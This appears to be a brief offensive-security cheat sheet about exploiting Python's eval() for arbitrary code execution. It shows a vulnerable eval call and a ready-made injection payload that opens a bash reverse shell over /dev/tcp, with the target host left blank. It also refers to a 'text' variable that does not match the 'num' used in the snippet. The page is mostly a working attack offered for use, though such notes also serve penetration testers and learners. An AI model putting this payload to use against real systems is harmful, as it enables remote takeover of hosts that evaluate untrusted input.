Python Eval Code Execution

Last modified: 2023-04-11

Linux Privilege Escalation Web

Python's eval() method is vulnerable to arbitrary code execution.


eval(f"5 + {num}")

If the Python script allows us to input some value to the "text" variable, we can inject arbitrary code.

Arbitrary Code Execution

Most of the time, we need to bypass another expression to execute our desired command.


<!-- Bypass another expression in eval -->

Reverse Shell

__import__('os').system('bash -c "bash -i >& /dev/tcp/ 0>&1"')